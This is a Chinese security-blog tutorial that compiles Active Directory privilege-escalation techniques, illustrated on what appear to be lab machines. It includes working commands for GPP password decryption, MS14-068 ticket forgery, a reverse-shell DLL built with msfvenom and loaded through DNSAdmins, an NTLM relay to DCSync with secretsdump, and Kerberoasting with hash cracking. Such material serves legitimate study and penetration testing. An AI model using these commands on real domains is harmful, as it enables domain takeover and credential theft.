域控提权合集

释放双眼,带上耳机,听听看~!

0x01、前言

菜鸡一枚,标题起的可能有点大,只是个人笔记整理的一个合集(所以基本每个例子都会有实例)。所以虽然说是合集,可能都没有囊括到各位大佬会的一半。还请各位大佬轻喷

0x02、目录

  1. GPP和SYSVOL中的密码
  2. MS14-068
  3. DNSAdmins
  4. 不安全的GPO权限
  5. 不安全的ACLs权限
  6. Exchange
  7. LLMNR/NBT-NS 投毒
  8. Kerberoasting
  9. AD recyle Bin

0x03、 GPP和SYSVOL中的密码

什么是GPP:
GPP被用来将通用的本地管理员密码应用于所有工作站、应用全新的管理员帐户、为其他用户安排任务、应用打印机等用途
一般域内机子较多的情况,管理员为了方便管理,在主机上设置本地管理员密码GPP。配置此功能后,会在域控制器上创建一个XML文件,其中包含将策略应用于连接到域的工作站或便携式计算机时配置帐户所需的信息。
该xml文件包含管理帐户的密码,一般情况下任意域用户都可以读取(通常是DC开启SYSVOL目录共享)
这里不得不提的一点是Microsoft已使用AES加密了xml文件中的密码以提高安全性,但又发布了用于加密和解密该值的密钥(所以这是什么操作???)

漏洞利用:
接到域控制器的默认SYSVOL共享,并在其中搜索groups.xml的实例。如果存在这些文件,位于格式类似于以下的文件夹中:

\\active.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

0x03.1、定位域控制器

set l   
nltest /DSGETDC:
echo %logonserver%
net time /domain
......

0x03.2、查询DC共享目录

使用enumlinux或者smbmap检查共享目录

smbmap -H 10.10.10.100 ###列出目标用户共享列表

---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS

0x03.3、连接域共享

smbclient //active.local/Replication -N

smb: \active.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> more Groups.xml

<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.local\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.local\SVC_TGS"/></User>

0x03.4、使用gpprefdecrypt.py解密:

python gpprefdecrypt.py    edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

0x04、MS14-068

危害:任意域控用户都可以提权到域控

一般为本地账户才能成功,但是使用klist purge清除缓存证书可绕过限制

0x04.1、漏洞成因

在 KDC 对 PAC 进行验证时,根据协议规定必须是带有 server Hash、KDC Hash 的签名算法才可以(原本的设计是 HMAC 系列的 checksum 算法),但微软在实现上,却允许任意签名算法。只要客户端指定任意签名算法,KDC 就会使用指定的算法进行签名验证,致使导致恶意用户在发送给KDC的TG_REQ中可以创建包含管理员帐户成员身份的伪造PAC被KDC接收,并将其放入TG_REP中发布的新TGT票证中。该票证可用于向KDC要求服务票证的服务升级特权:在这种情况下,是smb服务票证。

什么是PAC(特权帐户证书):
PAC包含域控制器(DC)提供的授权数据,Active Directory将授权数据存储在PAC(特权帐户证书)的票证字段中。
PAC由DC在服务单的现场授权数据中提供。它用KDC密钥(只有AD知道)签名,并用要验证的服务和AD之间共享的服务密钥签名。

0x04.2、利用条件

1.域控机器没有打漏洞补丁 补丁号:KB3011780
2.拥有一台域内机子及其sid

0x04.3、漏洞利用漏洞检测 ##:

FindSMB2UpTime.py(但是这个并不一定准确,因为域控是一般不会重启,但是也有存在意外重启的情况,那么即使有ms14-068也不会显示)

./FindSMB2UPTime.py 192.168.31.220
DC is up since: 2013-12-28 22:24:25This DC is vulnerable to MS14-068

获取域控制器补丁状态:Get-DCPatchStatus.ps1

# This is an example script only.
import-module activedirectory
[string]$KBNumber = "KB3011780"
$DomainControllers = Get-ADDomainController -filter *
[int]$DomainControllersCount = $DomainControllers.Count
[int]$PatchedDCCount = 0
[int]$UnPatchedDCCount = 0
$UnpatchedDCs = @()
Write-Output "Scanning $DomainControllersCount Domain Controllers for patch $KBNumber"
ForEach ($DomainController in $DomainControllers)
{
    $DomainControllerHostName = $DomainController.HostName
    $PatchStatus = Get-HotFix -ID $KBNumber -ComputerName $DomainController.HostName -ErrorAction SilentlyContinue

    IF ($PatchStatus.InstalledOn)
        {
            $PatchStatusInstalledOn = $PatchStatus.InstalledOn
            Write-Output "$DomainControllerHostName patched on $PatchStatusInstalledOn"
            $PatchedDCCount++
        }
    Else
        {
            Write-Warning "$DomainControllerHostName is NOT patched for $KBNumber (or could not be contacted)"
            [array]$UnpatchedDCs += $DomainController.HostName
            $UnPatchedDCCount++
        }
}
Write-Output "Out of $DomainControllersCount DCs, Patched: $PatchedDCCount & UnPatched: $UnPatchedDCCount "
IF ($UnpatchedDCs)
{
    Write-Output "The following DCs are NOT patched for $KBNumber"
    $UnpatchedDCs
}

0x04.4、环境描述:

目标机器:10.10.10.52 Windows Server 2008 R2 Standard
已获取:DC上的一个普通本地账户
james用户账户密码
james sid (可通过多种途径获取 rpclient:lookupnames james 目标机器shell中:
whoami /all ,)
攻击机:kali 10.10.14.14 (不在域中)

在Linux上利用:(有用户凭据、没有目标shell的情况下)
1.安装客户端,在客户端生成票证

sudo apt-get install krb5-user cifs-utils rdate

2.编辑/etc/krb5.conf
[libdefaults]
default_realm = HTB.LOCAL

[realms]
   HTB.LOCAL = {
    kdc = mantis.htb.local:88
    admin_server = mantis.htb.local
    default_domain = HTB.LOCAL
    }
[domain_realm]
    .domain.internal = HTB.LOCAL
    domain.internal = HTB.LOCAL

3.添加路由:编辑/etc/resolve.conf

nameserver 10.10.10.52

4.同步域控时间(确定DC的时间(用于票证同步),按照RFC必须在5分钟内完成,但+ -30分钟的偏差也可以的)

[方法1]net time -S 10.10.10.52 -U“” ##获取DC时间,然后收到设置本机时间
[方法2]sudo rdate -n 10.10.10.52 ###直接同步到域控时间

5.为james用户生成一张新的Kerberos票证

kinit -V james@HTB.LOCAL       ###kinit中域名需要大写;或直接  kinit james    
klist

此时生成的是james的票证:访问C$是没有权限的

kali@kali:~/tools/AD_Recon/pykek$ smbclient -W HTB.LOCAL //MANTIS/c$ -k
tree connect failed: NT_STATUS_ACCESS_DENIED

6.ms14-068生成高权限TGT票证

7.替换低权限票证mv TGT_james@HTB.LOCAL.ccache /tmp/krb5cc_1000

8.smb成功登录C$

Mimikatz利用
先在目标机器使用ms14-068.exe生成票据,然后使用mimikatz注入票据,再使用psexec获取权限或winexec执行命令

ms14-068.py -u james@HTB.LOCAL -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis

将TGT_james@HTB.LOCAL.ccache文件放入mimikatz目录中
mimikatz.exe log "kerberos::ptc TGT_james@HTB.LOCAL.ccache"
exit
注入成功即可获得域管理session,可以klist看一下是否有了kerberos Ticket
net use \htb.local\admin$ ####使用IP可能会失败
dir \htb.local\c$
psexec \htb.local cmd.exe

突破“本地账户才能漏洞利用”的限制:
先 klist purgr清除缓存证书,再使用mimikatz生成高权限TGT的缓存证书进行连接:

Impacket套件利用
也有更简便的方法,不需要上边的种种配置,直接使用impacket套件下的GoldenPac一发入魂(ms14-068+psexec)

0x05、DNSAdmins

默认情况下,域控也是DNS服务器,微软的DNS服务器作为域控上的服务来运行。通过DNSadmins到System,拿下域控权限
利用条件:拥有DNSAdmins组成员的用户帐户权限,或者当前用户帐户具有对DNS服务器对象的写特权

whoami /groups 查看用户组

制作dll:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.67 LPORT=4444 --platform=windows -f dll > plugin.dll

开启smb共享:(可通过net use \10.10.14.67\tw 检测是否能连通smbserver , 关于smbserver不能连接,排除网络问题之后,可能是共享占用问题,更改共享名称重新开启smbserver即可)

sudo impacket-smbserver tw.注入dlldnscmd.exe 10.10.10.169 /config /serverlevelplugindll \\10.10.14.67\tw\plugin.dll

监听:
nc -lvvp 444

重启dns致使paylload生效:

sc.exe stop dns
sc.exe start dns
或
sc.exe \\10.10.10.169 stop dns
sc.exe \\10.10.10.169 start dns

前两天也投了一篇域信息枚举的文章(那里有这滥用GPO和ACL提权的原理及其发现,到时候过了的话补上链接,没过的话我会发在自己博客再补上链接,这里直接说利用)

0x06、 不安全的GPO权限

枚举有GPO修改权限(write Property)的用户

使用PowerView的New-GPOImmediateTask 函数进行利用:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-NoP -NonI -W Hidden -Enc ‘payload’ -Force

-TaskName是必需的参数,-Command 指定的命令来运行(默认为powershell.exe),-CommandArguments 指定给定的二进制的参数。schtask .xml会复制到-GPOname或-GPODisplayname参数确定的适当位置。
默认情况下,该功能将在复制前提示您,但是可以使用-Force禁止显示。payload这里可以直接用empire生成的base64的paylaod
执行完成之后删除schtask .xml:

New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy

Github中的另外利用方式:

0x07、 不安全的ACLs权限

对域对象有WriteDacl权限===>DCSync

Exchange提权就是最好的ACL滥用的例子,可结合下面的EXchange进一步理解

0x08、Exchange

原理 :

Exchange Windows Permissions组成员在域内具有WriteDacl权限,将该组任意集成组WriteDacl权限的成员身份中继到LDAP后,可以修改域对象的ACL授予用户更高级别的访问权限,执行DCSync

也就是利用Exchange默认高权限账户进行LDAP中继授予用户DCSync权限

漏洞利用: net group 查看用户组

或者当前用户不在Exchange Permissions组中,但在Account Operator中(该组的成员能操作用户管理员所属域的账号和组,并可设置其权限。但是该组成员无法修改Administrators及Operators组及权限),可以添加一个用户并加入到Exchange Permissions
添加用户tw:

$pass = ConvertTo-SecureString "password" -AsPlainText -Force
New-ADUser tw -AccountPassword $pass -Enabled $True

将用户添加到Exchange Permissions组

net group "Exchange Windows Permissions" svc-alfresco /add 
或:
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members  tw

检查是否已成功添加

net group "Exchange Windows Permissions" /domain

使用ntlmrelayx进行ntlm中继:

sudo python ntlmrelayx.py -t  ldap://10.10.10.161 --escalate-user tw

运行该 中继 命令之后,可通过浏览器访问本地IP进行连接(输入tw账户密码),也可使用prieexchange.py进行连接

python privexchange.py  -ah 10.10.16.21  10.10.10.161   -u tw-p password -d htb.local

(10.10.16.21为我kali ip)

连接成功之后,使用secretdump.py导出域控hash #######时间蛮久的,需要出现上图提示

impacket-secretsdump htb.local/tw:password@10.10.10.161 -just-dc

0x09、LLMNR/NBT-NS

投毒原理:如果DNS服务器解析失败,则要求解析的系统使用LLMNR(UDP 5355)或NBNS(UDP 137)在Windows系统上的网段上广播问题或查询。而后攻击者做出响应,请求系统将根据广播期间使用的服务(例如FTP)提供Net-NTLM哈希或明文凭据。

使用Responer执行监听,等待域控触发解析错误

也可使用MSF操作

0x10、Kerberoasting

原理: 服务主体名称(SPN)用于唯一标识Windows服务的每个实例。为了支持Kerberos身份验证,SPN与至少一个服务登录帐户相关联
Kerberoasting利用点在于Client使用有效的TGT向TGS请求Server的Kerberos令牌,TGS在KDC数据库中查找SPN,并使用与SPN关联的服务帐户对票证进行加密并发送给Client。然而这里TGS加密方式为RC4_HMAC_MD5,使用Server端的NTLM hash进行加密(使破解成为可能)
此时攻击者借用一个有效的域用户身份请求一个或多个SPN的Kerberos令牌(加密后的TGS),然后进行离线破解得到SPN账户hash(这个过程甚至不用与目标SPN产生交互,即没有已被检测的流量产生,增强攻击的隐蔽性)
假若使用的是HTTP(默认使用的是HTTPS),还可以通过捕获网络流量得到Kerberos令牌,然后进行离线破解攻击:
扫描域中设置了SPN值的用户帐户。
SPN账户格式:serviceclass/host:port/servicename --->

[1]setspn用法: setspn官方文档: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)    
setspn.exe -T test -q */*     ###查找test域中所有SPN  
[2]dsquery(需要下载),dsquery官方文档: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
dsquery * "ou=domain controllers,dc=test,dc=com" -filter "(&(objectcategory=computer) (servicePrincipalName=*))" -attr distinguishedName servicePrincipalName > spns.txt
[3][powershell](https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx "powershell")  
get-aduser -filter {AdminCount -eq 1} -prop * | select name,created,passwordlastset,lastlogondate

使用SPN值从AD请求服务票证

Add-Type –AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ArgumentList MSSQLSvc/jefflab-sql02.jefflab.local:1433

返回服务票证并将其存储在系统的内存中,可以直接在当前窗口运行mimikatz导出内存中的票证

Kerberos::list /export

导出票证然后用tgsrecrack.py破解

上边的是从原理出发的实验步骤,现在有很多便捷的脚本,
如impacket套件中的GetUserSPNs.py
empire中的Kerberoast.ps1
效果如下:

kali@kali:~/tools/impacket/examples$ ./GetUserSPNs.py  -request active.local/svc_tgsImpacket v0.9.21.dev1 - Copyright 2020 SecureAuth CorporationPassword:ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=local  2018-07-18 15:06:40.351723  2018-07-30 13:17:40.656520             $krb5tgs$23$*Administrator$ACTIVE.local$active/CIFS~445*$d579b3f37d64117826f6a1265fe67fe8$0726fa41dbb28f4de22f52de37fda1b5cc8077e75f6871ead07aea2735ae8c5538e5de78c0e8818c6d1bb64780350d8adf11a482706eaee768e359b0a19d2aa5fb067b147a821f7306f418e3212d640c4626a731bab06387eecaeaa89bc85112c4e70c3ecf6922eacd77521bfd84e23f42357ee565d29e4625af7b766af6b0a9d7db8573eef71a0933eef456ea08f86559a1af439f189476c29f9084748334cf1a0dc02c67cb95ef85eb57c881c2a999e49c602dd9b08ef5e0b2df2d36dd02f7b91efc85783a7c22477e634803b3ac2792d89b0db3440ed43d19367a3cb4365bb064ba8a198ec9b6e21f93de14447262f5fc1b45e815d2b321a1b6a31b27f7d6b62d23d7172378a62156c700c9f959ff4e3cfcf803c240397ca7652c4376cc88c7722895f488a6baa8bfd1bc67a68c0b66a492beb62d8fb36797e941c9e9de03e39a06799fa6d8508eaf595e36001f754cad416c95811b01f3f0d9227cf20c66e91ed48408dc393a3b11b4eb9083b16afb27ca5cb663fc0a8f3d68ec41c941911ea95e811e9337492f24f48587040b49adb733e49fdf0dc76583a9ee9d9deda4269d35586390af2e58b78a6c8c4f25daa11d740277bd53d7272a135dbcdbe9ae9ed610683a26f320f7026156370b71ec1f8681fa0690196a5bfbec720f325475c09d5681140580468c4773deced7a30844efa2ae0680c1f923e1f7f3ba205948c55444324b8dd290b668c1e4d8706e890e2f451e16e556c2f82cbc053558088c40961fc59ddba0586fd6cb11da904f07ed75d3ee1698c6ae2b052c7ea8a9317434ed560e46114b6720f98c147cb63eda787c2c76356213d565e3aa77adf59f7d491a2bf791f65e27aa13bba8d9aa7000329949afa88c33d6d1d1d1e756fb8e0ed009388f22e46599179a71f3cb920a90bb99fc34db3adbf5599285df541ec3f3ed1504268dbd3a6663348e05e318732a25c80892225fba017ea9682ac01ef8324aa4913c9dd623abc9086e94c05a39c104eb86deeba0d1f71d23bf63e8c557e6c0a8c55e743f1de8f598784b8c131efa8d6a6d0bce281912988e7dd072fbcf3ab9dae72452b1e106619e88b932d3cc071488e043395bb7c15ee0d262123e52029905bb9f3f1f0e757043fb618ac0153e85b52b57df68ab5db050fc637eecff12d1cfb83f62f3fe885761514cd6bfbc47233c47985225fe2f0b9bfd7a0e496b581ec995aa9d14a0b7b6b26e485bc81546d65c88c117dc8593c90b破解:[1 hashcat]:     hashcat -a 0 -m 13100 active.hash /usr/share/wordlists/rockyou.txt --force[2 john]    :    sudo john  active.hash  -w "/usr/share/wordlists/rockyou.txt"

0x11、AD recyle Bin

使用回收站还原用户,或获取用户旧密码进行碰撞

前提:需要域内启用回收站功能,且用户在AD Recyle Bin 组中未启用启用回收站和启用回收站删除对象对比

图1:启用回收站之前已删除的Active Directory对象的生命周期图

2:启用回收站后已删除的Active Directory对象的生命周期

启用AD回收站:

Enable-ADOptionalFeature –Identity ‘CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=www,DC=domain,DC=com’ –Scope ForestOrConfigurationSet –Target ‘www.domain.com’

查看删除用户

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

结果示例:

Deleted           : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Name              : TempAdmin                    
                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass       : user
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059

尝试还原已删除账户

Restore-ADObject -Identity 'f0cc344d-31e0-4866-bceb-a842791ca059'    ###使用ObjectGUID进行还原
或
Get-ADObject -Filter {displayName -eq  "TempAdmin"} IncludeDeletedObjects | Restore-ADObject

查询ms-mcs-admpwd

Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" –IncludeDeletedObjects -Property ms-mcs-admpwd

查看有关于特定账户的全部属性信息:

Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz

这里存在被删除的临时管理员TempAdmin的LegacyPassword

0x12、总结

好像没什么好总结的了,但是没这个环节总感觉少了点什么????

本文来自先知社区

相关文章

人已赞赏
安全教程

域信息枚举

2020-5-15 0:06:30

安全教程

从0学习WebLogic CVE-2020-2551漏洞

2020-5-15 0:07:20

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索